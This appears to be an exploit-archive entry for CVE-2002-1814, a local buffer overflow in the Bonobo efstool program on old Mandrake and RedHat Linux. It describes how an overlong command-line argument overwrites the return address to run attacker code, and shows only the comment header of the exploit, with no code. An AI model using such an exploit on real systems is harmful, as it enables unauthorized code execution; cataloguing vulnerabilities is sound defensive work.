Mandrake 7/8/9,RedHat 6.x/7 Bonobo EFSTool Commandline Argument Buffer Overflow (1). CVE-2002-1814. Local exploit for linux platform

Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.

A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code.

# give the campers internet grogan!

# tested to work on slackware 8, mandrake 8, mandrake 7.1
# tweaks may be needed on the offset
# method 1 works more often but
# method 2 is faster but not too good
